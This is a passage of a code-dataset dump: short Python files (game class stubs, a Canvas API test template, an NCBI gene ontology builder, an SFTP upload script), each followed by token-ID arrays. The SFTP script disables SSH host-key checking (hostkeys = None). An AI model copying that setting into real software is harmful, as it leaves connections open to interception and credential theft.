29918, 3027, 2033, 353, 432, 572, 29918, 3027, 580, 13, 1678, 848, 29918, 8977, 3366, 29885, 1503, 29918, 705, 1624, 3108, 353, 7438, 29918, 29893, 354, 1008, 580, 13, 1678, 848, 29918, 8977, 3366, 29885, 1503, 29918, 17028, 29879, 3108, 353, 7438, 29918, 17028, 29879, 580, 13, 1678, 848, 29918, 8977, 3366, 29885, 1503, 29918, 8008, 275, 9085, 3108, 353, 7438, 29918, 8008, 275, 580, 13, 13, 1678, 736, 848, 29918, 8977, 2 ]
toontown/town/MMStreet.py
LittleNed/toontown-stride
3
156121
from toontown.town import Street class MMStreet(Street.Street): pass
[ 1, 515, 304, 609, 776, 29889, 27734, 1053, 7103, 13, 13, 1990, 28880, 855, 4521, 29898, 855, 4521, 29889, 855, 4521, 1125, 13, 1678, 1209, 2 ]
learning/bs/bs2.py
Nephrin/Tut
2
35956
<filename>learning/bs/bs2.py def main(): with open("number.txt", "r") as file: data = file.read() data = data.split("\n") x = [row.split("\t") for row in data[:5]] print(function(x)) def function(x): sum=0 for el in x[0:]: sum += int(el[0]) return sum if __name__=="__main__": main();
[ 1, 529, 9507, 29958, 21891, 29914, 5824, 29914, 5824, 29906, 29889, 2272, 13, 1753, 1667, 7295, 30004, 13, 12, 2541, 1722, 703, 4537, 29889, 3945, 613, 376, 29878, 1159, 408, 934, 29901, 30004, 13, 12, 12, 1272, 353, 934, 29889, 949, 26471, 13, 12, 12, 1272, 353, 848, 29889, 5451, 14182, 29876, 1159, 30004, 13, 12, 29916, 353, 518, 798, 29889, 5451, 14182, 29873, 1159, 363, 1948, 297, 848, 7503, 29945, 5262, 30004, 13, 12, 2158, 29898, 2220, 29898, 29916, 876, 30004, 13, 30004, 13, 1753, 740, 29898, 29916, 1125, 30004, 13, 1678, 2533, 29922, 29900, 30004, 13, 1678, 363, 560, 297, 921, 29961, 29900, 29901, 5387, 30004, 13, 4706, 2533, 4619, 938, 29898, 295, 29961, 29900, 2314, 30004, 13, 1678, 736, 2533, 30004, 13, 30004, 13, 361, 4770, 978, 1649, 26359, 1649, 3396, 1649, 1115, 30004, 13, 12, 3396, 14078, 13, 1678, 6756, 13, 2 ]
simulation/device/simulated/air_conditioner/__init__.py
LBNL-ETA/LPDM
2
33559
<filename>simulation/device/simulated/air_conditioner/__init__.py from air_conditioner import AirConditioner
[ 1, 529, 9507, 29958, 3601, 2785, 29914, 10141, 29914, 3601, 7964, 29914, 1466, 29918, 16122, 261, 29914, 1649, 2344, 26914, 2272, 13, 3166, 4799, 29918, 16122, 261, 1053, 5593, 25255, 261, 13, 2 ]
tests/autoUploadFile.py
brainelectronics/This-project-can-be-used-to-upload-files-of-a-specific-directory-to-a-server-or-OTA-capable-device-v
1
127832
<filename>tests/autoUploadFile.py #!/usr/local/bin/python2 # -*- coding: UTF-8 -*- # """ This script will search at the given path, defined in the config.json file, for files with a specific patter. This is also defined in the config.json file. By using the SSH credits defined in the loginData.json file the specified files will be uploaded to a remote directory Doing so can help to increase speed of providing OTA updates on every build of a file. The script should be extended to check for changes in the predefined folder and trigger the upload automatically """ import datetime import json import pysftp import os __author__ = "<NAME>" __copyright__ = "Copyright 2019, brainelectronics" __version__ = "1.0.0" __maintainer__ = "<NAME>" __email__ = "<EMAIL>" __status__ = "Prototype" # load host, username and password from config.json with open('../afu/fileConfig.json') as json_data_file: configDataDict = json.load(json_data_file) # refer to loginTemplate.json with open('../afu/loginData.json') as json_data_file: loginDataDict = json.load(json_data_file) # print(json.dumps(loginDataDict, indent=4, sort_keys=True)) myHostname = loginDataDict['sftp']['host'] myUsername = loginDataDict['sftp']['user'] myPassword = loginDataDict['sftp']['password'] # define the path where to search for files localPath = configDataDict['server'][0]['localPath'] filePattern = configDataDict['server'][0]['pattern'] remoteFilePath = configDataDict['server'][0]['remotePath'] versionFile = configDataDict['server'][0]['version'] localFilePath = None localFileName = None print "searching at '%s'" %(localPath) for file in os.listdir(localPath): if file.endswith(filePattern): localFileName = file localFilePath = os.path.join(localPath, file) print "Found file called: '%s'" %(localFilePath) print "Creating version file" versionFilePath = os.path.join(localPath, versionFile) with open(versionFilePath, "w") as aFile: epochDateTime = datetime.datetime.utcfromtimestamp(0) todayDateTime = datetime.datetime.today() daysSinceEpoch = (todayDateTime - epochDateTime).days aFile.write("%s" %(daysSinceEpoch)) # aFile.close() print "File '%s' created" %(versionFilePath) if localFilePath != None: print "Try to open connection..." cnopts = pysftp.CnOpts() cnopts.hostkeys = None with pysftp.Connection(host=myHostname, username=myUsername, password=<PASSWORD>) as sftp: remoteFilePath = os.path.join(remoteFilePath, localFileName) print "Uploading file(s) to/as: %s" %(remoteFilePath) sftp.put(localpath=localFilePath, remotepath=remoteFilePath, confirm=False) sftp.put(localpath=versionFilePath, remotepath=remoteFilePath, confirm=False) # sftp.remove(remotefile=remoteFilePath) print "Upload done" print "Files found remote:" # change to a directory sftp.cwd(os.path.dirname(remoteFilePath)) # Get the directory and file listing directories = sftp.listdir() # Prints out the directories and files, line by line for directory in directories: print "\t", directory print "Done" # connection is closed as we leave the with
[ 1, 529, 9507, 29958, 21150, 29914, 6921, 17553, 2283, 29889, 2272, 13, 29937, 14708, 4855, 29914, 2997, 29914, 2109, 29914, 4691, 29906, 13, 29937, 448, 29930, 29899, 14137, 29901, 18351, 29899, 29947, 448, 29930, 29899, 13, 29937, 13, 13, 15945, 29908, 13, 4013, 2471, 674, 2740, 472, 278, 2183, 2224, 29892, 3342, 297, 278, 13, 2917, 29889, 3126, 934, 29892, 363, 2066, 411, 263, 2702, 2373, 357, 29889, 13, 4013, 338, 884, 3342, 297, 278, 2295, 29889, 3126, 934, 29889, 13, 2059, 773, 278, 22343, 6625, 1169, 3342, 297, 278, 6464, 1469, 29889, 3126, 934, 13, 1552, 6790, 2066, 674, 367, 20373, 304, 263, 7592, 3884, 13, 13, 6132, 292, 577, 508, 1371, 304, 7910, 6210, 310, 13138, 438, 6040, 11217, 13, 265, 1432, 2048, 310, 263, 934, 29889, 13, 1576, 2471, 881, 367, 10410, 304, 1423, 363, 3620, 297, 278, 13, 1457, 12119, 4138, 322, 7135, 278, 6441, 6336, 13, 15945, 29908, 13, 13, 5215, 12865, 13, 5215, 4390, 13, 5215, 282, 952, 23102, 13, 5215, 2897, 13, 13, 1649, 8921, 1649, 353, 9872, 5813, 11903, 13, 1649, 8552, 1266, 1649, 353, 376, 11882, 1266, 29871, 29906, 29900, 29896, 29929, 29892, 4105, 457, 781, 1617, 1199, 29908, 13, 1649, 3259, 1649, 353, 376, 29896, 29889, 29900, 29889, 29900, 29908, 13, 1649, 29885, 2365, 4008, 1649, 353, 9872, 5813, 11903, 13, 1649, 5269, 1649, 353, 9872, 26862, 6227, 11903, 13, 1649, 4882, 1649, 353, 376, 1184, 10414, 29908, 13, 13, 29937, 2254, 3495, 29892, 8952, 322, 4800, 515, 2295, 29889, 3126, 13, 2541, 1722, 877, 6995, 2142, 29884, 29914, 1445, 3991, 29889, 3126, 1495, 408, 4390, 29918, 1272, 29918, 1445, 29901, 13, 1678, 2295, 1469, 21533, 353, 4390, 29889, 1359, 29898, 3126, 29918, 1272, 29918, 1445, 29897, 13, 13, 29937, 2737, 304, 6464, 6733, 29889, 3126, 13, 2541, 1722, 877, 6995, 2142, 29884, 29914, 7507, 1469, 29889, 3126, 1495, 408, 4390, 29918, 1272, 29918, 1445, 29901, 13, 1678, 6464, 1469, 21533, 353, 4390, 29889, 1359, 29898, 3126, 29918, 1272, 29918, 1445, 29897, 13, 29937, 1596, 29898, 3126, 29889, 29881, 17204, 29898, 7507, 1469, 21533, 29892, 29536, 29922, 29946, 29892, 2656, 29918, 8149, 29922, 5574, 876, 13, 13, 13, 1357, 8514, 978, 353, 6464, 1469, 21533, 1839, 29879, 23102, 16215, 3069, 2033, 13, 1357, 20249, 353, 6464, 1469, 21533, 1839, 29879, 23102, 16215, 1792, 2033, 13, 1357, 10048, 353, 6464, 1469, 21533, 1839, 29879, 23102, 16215, 5630, 2033, 13, 13, 29937, 4529, 278, 2224, 988, 304, 2740, 363, 2066, 13, 2997, 2605, 353, 2295, 1469, 21533, 1839, 2974, 2033, 29961, 29900, 22322, 2997, 2605, 2033, 13, 1445, 17144, 353, 2295, 1469, 21533, 1839, 2974, 2033, 29961, 29900, 22322, 11037, 2033, 13, 16674, 2283, 2605, 353, 2295, 1469, 21533, 1839, 2974, 2033, 29961, 29900, 22322, 16674, 2605, 2033, 13, 3259, 2283, 353, 2295, 1469, 21533, 1839, 2974, 2033, 29961, 29900, 22322, 3259, 2033, 13, 2997, 2283, 2605, 353, 6213, 13, 2997, 17020, 353, 6213, 13, 13, 13, 2158, 376, 4478, 292, 472, 14210, 29879, 11838, 1273, 29898, 2997, 2605, 29897, 13, 1454, 934, 297, 2897, 29889, 1761, 3972, 29898, 2997, 2605, 1125, 13, 1678, 565, 934, 29889, 1975, 2541, 29898, 1445, 17144, 1125, 13, 4706, 1887, 17020, 353, 934, 13, 4706, 1887, 2283, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 2997, 2605, 29892, 934, 29897, 13, 2158, 376, 9692, 934, 2000, 29901, 14210, 29879, 11838, 1273, 29898, 2997, 2283, 2605, 29897, 13, 13, 13, 2158, 376, 9832, 1218, 1873, 934, 29908, 13, 3259, 2283, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 2997, 2605, 29892, 1873, 2283, 29897, 13, 2541, 1722, 29898, 3259, 2283, 2605, 29892, 376, 29893, 1159, 408, 263, 2283, 29901, 13, 1678, 21502, 305, 11384, 353, 12865, 29889, 12673, 29889, 329, 29883, 3166, 16394, 29898, 29900, 29897, 13, 1678, 9826, 11384, 353, 12865, 29889, 12673, 29889, 27765, 580, 13, 1678, 3841, 23036, 29923, 1129, 305, 353, 313, 27765, 11384, 448, 21502, 305, 11384, 467, 16700, 13, 1678, 263, 2283, 29889, 3539, 11702, 29879, 29908, 1273, 29898, 16700, 23036, 29923, 1129, 305, 876, 13, 29937, 263, 2283, 29889, 5358, 580, 13, 2158, 376, 2283, 14210, 29879, 29915, 2825, 29908, 1273, 29898, 3259, 2283, 2605, 29897, 13, 13, 13, 361, 1887, 2283, 2605, 2804, 6213, 29901, 13, 1678, 1596, 376, 15870, 304, 1722, 3957, 17794, 13, 1678, 274, 1217, 16485, 353, 282, 952, 23102, 29889, 29907, 29876, 29949, 16485, 580, 13, 1678, 274, 1217, 16485, 29889, 3069, 8149, 353, 6213, 13, 13, 1678, 411, 282, 952, 23102, 29889, 5350, 29898, 3069, 29922, 1357, 8514, 978, 29892, 8952, 29922, 1357, 20249, 29892, 4800, 29922, 29966, 25711, 17013, 12948, 408, 269, 23102, 29901, 13, 4706, 7592, 2283, 2605, 353, 2897, 29889, 2084, 29889, 7122, 29898, 16674, 2283, 2605, 29892, 1887, 17020, 29897, 13, 13, 4706, 1596, 376, 3373, 13234, 934, 29898, 29879, 29897, 304, 29914, 294, 29901, 1273, 29879, 29908, 1273, 29898, 16674, 2283, 2605, 29897, 13, 4706, 269, 23102, 29889, 649, 29898, 2997, 2084, 29922, 2997, 2283, 2605, 29892, 7592, 2084, 29922, 16674, 2283, 2605, 29892, 9659, 29922, 8824, 29897, 13, 4706, 269, 23102, 29889, 649, 29898, 2997, 2084, 29922, 3259, 2283, 2605, 29892, 7592, 2084, 29922, 16674, 2283, 2605, 29892, 9659, 29922, 8824, 29897, 13, 4706, 396, 269, 23102, 29889, 5992, 29898, 16674, 1445, 29922, 16674, 2283, 2605, 29897, 13, 4706, 1596, 376, 17553, 2309, 29908, 13, 13, 4706, 1596, 376, 10547, 1476, 7592, 6160, 13, 4706, 396, 1735, 304, 263, 3884, 13, 4706, 269, 23102, 29889, 29883, 9970, 29898, 359, 29889, 2084, 29889, 25721, 29898, 16674, 2283, 2605, 876, 13, 13, 4706, 396, 3617, 278, 3884, 322, 934, 18028, 13, 4706, 17525, 353, 269, 23102, 29889, 1761, 3972, 580, 13, 13, 4706, 396, 1588, 9466, 714, 278, 17525, 322, 2066, 29892, 1196, 491, 1196, 13, 4706, 363, 3884, 297, 17525, 29901, 13, 9651, 1596, 6634, 29873, 613, 3884, 13, 13, 2158, 376, 25632, 29908, 13, 29937, 3957, 338, 5764, 408, 591, 5967, 278, 411, 13, 13, 2 ]
py3canvas/tests/shared_brand_configs.py
tylerclair/py3canvas
0
12303
<filename>py3canvas/tests/shared_brand_configs.py """SharedBrandConfigs API Tests for Version 1.0. This is a testing template for the generated SharedBrandConfigsAPI Class. """ import unittest import requests import secrets from py3canvas.apis.shared_brand_configs import SharedBrandConfigsAPI from py3canvas.apis.shared_brand_configs import Sharedbrandconfig class TestSharedBrandConfigsAPI(unittest.TestCase): """Tests for the SharedBrandConfigsAPI.""" def setUp(self): self.client = SharedBrandConfigsAPI( secrets.instance_address, secrets.access_token ) def test_share_brandconfig_theme(self): """Integration test for the SharedBrandConfigsAPI.share_brandconfig_theme method.""" # This method utilises the POST request method and will make changes to the Canvas instance. This needs consideration. pass def test_update_shared_theme(self): """Integration test for the SharedBrandConfigsAPI.update_shared_theme method.""" # This method utilises the PUT request method and will make changes to the Canvas instance. This needs consideration. pass def test_un_share_brandconfig_theme(self): """Integration test for the SharedBrandConfigsAPI.un_share_brandconfig_theme method.""" id = None # Change me!! r = self.client.un_share_brandconfig_theme(id)
[ 1, 529, 9507, 29958, 2272, 29941, 15257, 29914, 21150, 29914, 12366, 29918, 16472, 29918, 2917, 29879, 29889, 2272, 13, 15945, 29908, 21741, 29933, 9502, 3991, 29879, 3450, 4321, 29879, 363, 10079, 29871, 29896, 29889, 29900, 29889, 13, 13, 4013, 338, 263, 6724, 4472, 363, 278, 5759, 21236, 29933, 9502, 3991, 29879, 8787, 4134, 29889, 13, 15945, 29908, 13, 5215, 443, 27958, 13, 5215, 7274, 13, 5215, 22183, 1372, 13, 3166, 11451, 29941, 15257, 29889, 11355, 29889, 12366, 29918, 16472, 29918, 2917, 29879, 1053, 21236, 29933, 9502, 3991, 29879, 8787, 13, 3166, 11451, 29941, 15257, 29889, 11355, 29889, 12366, 29918, 16472, 29918, 2917, 29879, 1053, 21236, 16472, 2917, 13, 13, 13, 1990, 4321, 21741, 29933, 9502, 3991, 29879, 8787, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 9995, 24376, 363, 278, 21236, 29933, 9502, 3991, 29879, 8787, 1213, 15945, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 1583, 29889, 4645, 353, 21236, 29933, 9502, 3991, 29879, 8787, 29898, 13, 9651, 22183, 1372, 29889, 8758, 29918, 7328, 29892, 22183, 1372, 29889, 5943, 29918, 6979, 13, 4706, 1723, 13, 13, 1678, 822, 1243, 29918, 13653, 29918, 16472, 2917, 29918, 18193, 29898, 1311, 1125, 13, 4706, 9995, 23573, 362, 1243, 363, 278, 21236, 29933, 9502, 3991, 29879, 8787, 29889, 13653, 29918, 16472, 2917, 29918, 18193, 1158, 1213, 15945, 13, 4706, 396, 910, 1158, 3667, 4637, 278, 11971, 2009, 1158, 322, 674, 1207, 3620, 304, 278, 1815, 4428, 2777, 29889, 910, 4225, 19220, 29889, 13, 4706, 1209, 13, 13, 1678, 822, 1243, 29918, 5504, 29918, 12366, 29918, 18193, 29898, 1311, 1125, 13, 4706, 9995, 23573, 362, 1243, 363, 278, 21236, 29933, 9502, 3991, 29879, 8787, 29889, 5504, 29918, 12366, 29918, 18193, 1158, 1213, 15945, 13, 4706, 396, 910, 1158, 3667, 4637, 278, 349, 2692, 2009, 1158, 322, 674, 1207, 3620, 304, 278, 1815, 4428, 2777, 29889, 910, 4225, 19220, 29889, 13, 4706, 1209, 13, 13, 1678, 822, 1243, 29918, 348, 29918, 13653, 29918, 16472, 2917, 29918, 18193, 29898, 1311, 1125, 13, 4706, 9995, 23573, 362, 1243, 363, 278, 21236, 29933, 9502, 3991, 29879, 8787, 29889, 348, 29918, 13653, 29918, 16472, 2917, 29918, 18193, 1158, 1213, 15945, 13, 4706, 1178, 353, 6213, 29871, 396, 10726, 592, 6824, 13, 13, 4706, 364, 353, 1583, 29889, 4645, 29889, 348, 29918, 13653, 29918, 16472, 2917, 29918, 18193, 29898, 333, 29897, 13, 2 ]
Project1_Day1_Simple_Name_Generator/name_generator.py
ariv14/python_day1
0
122333
<gh_stars>0 #1. Create a greeting for your program. print("\nSimple Name Generator\n") #2. Ask the user for the city that they grew up in. #raw_input() for python v2 , input() for python v3 # Make sure the input cursor shows on a new line raw_input("Press enter : ") print("\nSimple Name Generator\n") city = raw_input("What is the name of the city you grew up ? : ") #3. Ask the user for the name of a pet. # Make sure the input cursor shows on a new line family_name = raw_input("What is your family name ? : ") #4. Combine the name of their city and pet and show them their brand name. print("The name of your new brand is: \n" + city + " " + family_name )
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29900, 13, 29937, 29896, 29889, 6204, 263, 1395, 15133, 363, 596, 1824, 29889, 13, 2158, 14182, 29876, 15427, 4408, 3251, 1061, 29905, 29876, 1159, 13, 29937, 29906, 29889, 26579, 278, 1404, 363, 278, 4272, 393, 896, 13631, 701, 297, 29889, 13, 29937, 1610, 29918, 2080, 580, 363, 3017, 325, 29906, 1919, 1881, 580, 363, 3017, 325, 29941, 13, 29937, 8561, 1854, 278, 1881, 10677, 3697, 373, 263, 716, 1196, 13, 1610, 29918, 2080, 703, 10923, 3896, 584, 16521, 13, 2158, 14182, 29876, 15427, 4408, 3251, 1061, 29905, 29876, 1159, 13, 12690, 353, 10650, 29918, 2080, 703, 5618, 338, 278, 1024, 310, 278, 4272, 366, 13631, 701, 1577, 584, 16521, 13, 29937, 29941, 29889, 26579, 278, 1404, 363, 278, 1024, 310, 263, 5697, 29889, 13, 29937, 8561, 1854, 278, 1881, 10677, 3697, 373, 263, 716, 1196, 13, 11922, 29918, 978, 353, 10650, 29918, 2080, 703, 5618, 338, 596, 3942, 1024, 1577, 584, 16521, 13, 29937, 29946, 29889, 422, 26062, 278, 1024, 310, 1009, 4272, 322, 5697, 322, 1510, 963, 1009, 14982, 1024, 29889, 13, 2158, 703, 1576, 1024, 310, 596, 716, 14982, 338, 29901, 320, 29876, 29908, 718, 4272, 718, 376, 376, 718, 3942, 29918, 978, 1723, 13, 2 ]
nifstd/nifstd_tools/ncbigene_slim.py
tmsincomb/pyontutils
11
105660
#!/usr/bin/env python3 """ Build lightweight slims from curie lists. Used for sources that don't have an owl ontology floating. """ #TODO consider using some of the code from scr_sync.py??? from pathlib import Path import requests from pyontutils.core import createOntology from pyontutils.utils import chunk_list, dictParse from pyontutils.config import auth from pyontutils.namespaces import SO, makePrefixes from pyontutils.namespaces import rdf, rdfs, owl #ncbi_map = { #'name':, #'description':, #'uid':, #'organism':{''}, #'otheraliases':, #'otherdesignations':, #} class ncbi(dictParse): superclass = SO['0000110'] # sequence feature def __init__(self, thing, graph): self.g = graph super().__init__(thing, order=['uid']) def name(self, value): self.g.add_trip(self.identifier, rdfs.label, value) def description(self, value): #if value: self.g.add_trip(self.identifier, 'skos:prefLabel', value) def uid(self, value): self.identifier = 'NCBIGene:' + str(value) self.g.add_trip(self.identifier, rdf.type, owl.Class) self.g.add_trip(self.identifier, rdfs.subClassOf, self.superclass) def organism(self, value): self._next_dict(value) def taxid(self, value): tax = 'NCBITaxon:' + str(value) self.g.add_trip(self.identifier, 'ilxtr:definedForTaxon', tax) # FIXME species or taxon??? def otheraliases(self, value): if value: for synonym in value.split(','): self.g.add_trip(self.identifier, 'NIFRID:synonym', synonym.strip()) def otherdesignations(self, value): if value: for synonym in value.split('|'): self.g.add_trip(self.identifier, 'NIFRID:synonym', synonym) def ncbigene_make(): IDS_FILE = auth.get_path('resources') / 'gene-subset-ids.txt' with open(IDS_FILE.as_posix(), 'rt') as f: # this came from neuroNER ids = [l.split(':')[1].strip() for l in f.readlines()] #url = 'http://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi?retmode=json&retmax=5000&db=gene&id=' #for id_ in ids: #data = requests.get(url + id_).json()['result'][id_] url = 'https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esummary.fcgi' data = { 'db':'gene', 'retmode':'json', 'retmax':5000, 'id':None, } chunks = [] for i, idset in enumerate(chunk_list(ids, 100)): print(i, len(idset)) data['id'] = ','.join(idset), resp = requests.post(url, data=data).json() chunks.append(resp) base = chunks[0]['result'] uids = base['uids'] for more in chunks[1:]: data = more['result'] uids.extend(data['uids']) base.update(data) #base['uids'] = uids # i mean... its just the keys base.pop('uids') ng = createOntology('ncbigeneslim', 'NIF NCBI Gene subset', makePrefixes('ilxtr', 'NIFRID', 'NCBIGene', 'NCBITaxon', 'skos', 'owl', 'SO'), 'ncbigeneslim', f'This subset is automatically generated from the NCBI Gene database on a subset of terms listed in {IDS_FILE}.', remote_base= 'http://ontology.neuinfo.org/NIF/') for k, v in base.items(): #if k != 'uids': ncbi(v, ng) ng.write() def main(): ncbigene_make() if __name__ == '__main__': main()
[ 1, 18787, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 15945, 29908, 13, 1678, 8878, 3578, 7915, 2243, 9893, 515, 3151, 347, 8857, 29889, 13, 1678, 501, 8485, 363, 8974, 393, 1016, 29915, 29873, 505, 385, 8152, 29880, 4625, 3002, 16526, 29889, 13, 15945, 29908, 13, 29937, 4986, 3970, 2050, 773, 777, 310, 278, 775, 515, 14387, 29918, 16593, 29889, 2272, 28772, 13, 13, 3166, 2224, 1982, 1053, 10802, 13, 5215, 7274, 13, 3166, 11451, 609, 13239, 29889, 3221, 1053, 1653, 29949, 593, 3002, 13, 3166, 11451, 609, 13239, 29889, 13239, 1053, 19875, 29918, 1761, 29892, 9657, 12914, 13, 3166, 11451, 609, 13239, 29889, 2917, 1053, 4817, 13, 3166, 11451, 609, 13239, 29889, 7039, 22459, 1053, 7791, 29892, 1207, 23095, 267, 13, 3166, 11451, 609, 13239, 29889, 7039, 22459, 1053, 364, 2176, 29892, 364, 29069, 29892, 8152, 29880, 13, 13, 29937, 17608, 5365, 29918, 1958, 353, 426, 13, 1678, 396, 29915, 978, 2396, 29892, 13, 1678, 396, 29915, 8216, 2396, 29892, 13, 1678, 396, 29915, 5416, 2396, 29892, 13, 1678, 396, 29915, 6388, 1608, 2396, 29912, 4907, 1118, 13, 1678, 396, 29915, 1228, 2606, 2129, 2396, 29892, 13, 1678, 396, 29915, 1228, 13892, 800, 2396, 29892, 13, 29937, 29913, 13, 13, 13, 1990, 302, 29883, 5365, 29898, 8977, 12914, 1125, 13, 1678, 2428, 1990, 353, 7791, 1839, 29900, 29900, 29900, 29900, 29896, 29896, 29900, 2033, 29871, 396, 5665, 4682, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 2655, 29892, 3983, 1125, 13, 4706, 1583, 29889, 29887, 353, 3983, 13, 4706, 2428, 2141, 1649, 2344, 12035, 1918, 29892, 1797, 29922, 1839, 5416, 11287, 13, 13, 1678, 822, 1024, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 364, 29069, 29889, 1643, 29892, 995, 29897, 13, 13, 1678, 822, 6139, 29898, 1311, 29892, 995, 1125, 13, 4706, 396, 361, 995, 29901, 13, 4706, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 525, 808, 359, 29901, 29886, 999, 4775, 742, 995, 29897, 13, 13, 1678, 822, 318, 333, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 29889, 25378, 353, 525, 15868, 29933, 6259, 1600, 11283, 718, 851, 29898, 1767, 29897, 13, 4706, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 364, 2176, 29889, 1853, 29892, 8152, 29880, 29889, 2385, 29897, 13, 4706, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 364, 29069, 29889, 1491, 2385, 2776, 29892, 1583, 29889, 9136, 1990, 29897, 13, 13, 1678, 822, 2894, 1608, 29898, 1311, 29892, 995, 1125, 13, 4706, 1583, 3032, 4622, 29918, 8977, 29898, 1767, 29897, 13, 13, 1678, 822, 8818, 333, 29898, 1311, 29892, 995, 1125, 13, 4706, 8818, 353, 525, 15868, 22698, 1165, 265, 11283, 718, 851, 29898, 1767, 29897, 13, 4706, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 525, 309, 486, 29878, 29901, 12119, 2831, 29911, 1165, 265, 742, 8818, 29897, 29871, 396, 383, 6415, 2303, 6606, 470, 8818, 265, 28772, 13, 13, 1678, 822, 916, 2606, 2129, 29898, 1311, 29892, 995, 1125, 13, 4706, 565, 995, 29901, 13, 9651, 363, 5222, 4735, 297, 995, 29889, 5451, 29898, 3788, 1125, 13, 18884, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 525, 29940, 6545, 29934, 1367, 29901, 19274, 4735, 742, 5222, 4735, 29889, 17010, 3101, 13, 13, 1678, 822, 916, 13892, 800, 29898, 1311, 29892, 995, 1125, 13, 4706, 565, 995, 29901, 13, 9651, 363, 5222, 4735, 297, 995, 29889, 5451, 877, 29989, 29374, 13, 18884, 1583, 29889, 29887, 29889, 1202, 29918, 3626, 29886, 29898, 1311, 29889, 25378, 29892, 525, 29940, 6545, 29934, 1367, 29901, 19274, 4735, 742, 5222, 4735, 29897, 13, 13, 1753, 302, 29883, 3752, 1600, 29918, 5675, 7295, 13, 1678, 3553, 29903, 29918, 7724, 353, 4817, 29889, 657, 29918, 2084, 877, 13237, 1495, 847, 525, 29887, 1600, 29899, 6484, 29899, 4841, 29889, 3945, 29915, 13, 1678, 411, 1722, 29898, 1367, 29903, 29918, 7724, 29889, 294, 29918, 1066, 861, 3285, 525, 2273, 1495, 408, 285, 29901, 29871, 396, 445, 2996, 515, 452, 2192, 13865, 13, 4706, 18999, 353, 518, 29880, 29889, 5451, 877, 29901, 29861, 29896, 1822, 17010, 580, 363, 301, 297, 285, 29889, 949, 9012, 580, 29962, 13, 13, 1678, 396, 2271, 353, 525, 1124, 597, 29872, 13239, 29889, 17608, 5365, 29889, 12938, 29885, 29889, 13428, 29889, 13513, 29914, 14056, 29920, 29914, 29872, 13239, 29914, 267, 398, 5219, 29889, 13801, 3146, 29973, 2267, 8513, 29922, 3126, 29987, 2267, 3317, 29922, 29945, 29900, 29900, 29900, 29987, 2585, 29922, 29887, 1600, 29987, 333, 2433, 13, 1678, 396, 1454, 1178, 29918, 297, 18999, 29901, 13, 4706, 396, 1272, 353, 7274, 29889, 657, 29898, 2271, 718, 1178, 29918, 467, 3126, 580, 1839, 2914, 2033, 29961, 333, 29918, 29962, 13, 1678, 3142, 353, 525, 991, 597, 29872, 13239, 29889, 17608, 5365, 29889, 12938, 29885, 29889, 13428, 29889, 13513, 29914, 14056, 29920, 29914, 29872, 13239, 29914, 267, 398, 5219, 29889, 13801, 3146, 29915, 13, 1678, 848, 353, 426, 13, 4706, 525, 2585, 22099, 29887, 1600, 742, 13, 4706, 525, 2267, 8513, 22099, 3126, 742, 13, 4706, 525, 2267, 3317, 2396, 29945, 29900, 29900, 29900, 29892, 13, 4706, 525, 333, 2396, 8516, 29892, 13, 1678, 500, 13, 1678, 521, 18801, 353, 5159, 13, 1678, 363, 474, 29892, 1178, 842, 297, 26985, 29898, 29812, 29918, 1761, 29898, 4841, 29892, 29871, 29896, 29900, 29900, 22164, 13, 4706, 1596, 29898, 29875, 29892, 7431, 29898, 333, 842, 876, 13, 4706, 848, 1839, 333, 2033, 353, 13420, 4286, 7122, 29898, 333, 842, 511, 13, 4706, 4613, 353, 7274, 29889, 2490, 29898, 2271, 29892, 848, 29922, 1272, 467, 3126, 580, 13, 4706, 521, 18801, 29889, 4397, 29898, 13713, 29897, 13, 13, 1678, 2967, 353, 521, 18801, 29961, 29900, 22322, 2914, 2033, 13, 1678, 318, 4841, 353, 2967, 1839, 29884, 4841, 2033, 13, 1678, 363, 901, 297, 521, 18801, 29961, 29896, 29901, 5387, 13, 4706, 848, 353, 901, 1839, 2914, 2033, 13, 4706, 318, 4841, 29889, 21843, 29898, 1272, 1839, 29884, 4841, 11287, 13, 4706, 2967, 29889, 5504, 29898, 1272, 29897, 13, 1678, 396, 3188, 1839, 29884, 4841, 2033, 353, 318, 4841, 29871, 396, 474, 2099, 856, 967, 925, 278, 6611, 13, 1678, 2967, 29889, 7323, 877, 29884, 4841, 1495, 13, 13, 1678, 8736, 353, 1653, 29949, 593, 3002, 877, 29876, 10702, 2101, 267, 2576, 742, 13, 462, 4706, 525, 29940, 6545, 25166, 12809, 15350, 11306, 742, 13, 462, 4706, 1207, 23095, 267, 877, 309, 486, 29878, 742, 525, 29940, 6545, 29934, 1367, 742, 525, 15868, 29933, 6259, 1600, 742, 13, 462, 462, 268, 525, 15868, 22698, 1165, 265, 742, 525, 808, 359, 742, 525, 340, 29880, 742, 525, 6156, 5477, 13, 462, 4706, 525, 29876, 10702, 2101, 267, 2576, 742, 13, 462, 4706, 285, 29915, 4013, 11306, 338, 6336, 5759, 515, 278, 25166, 12809, 15350, 2566, 373, 263, 11306, 310, 4958, 9904, 297, 426, 1367, 29903, 29918, 7724, 1836, 742, 13, 462, 4706, 7592, 29918, 3188, 29922, 525, 1124, 597, 609, 3002, 29889, 484, 29884, 3888, 29889, 990, 29914, 29940, 6545, 29914, 1495, 13, 13, 1678, 363, 413, 29892, 325, 297, 2967, 29889, 7076, 7295, 13, 4706, 396, 361, 413, 2804, 525, 29884, 4841, 2396, 13, 4706, 302, 29883, 5365, 29898, 29894, 29892, 8736, 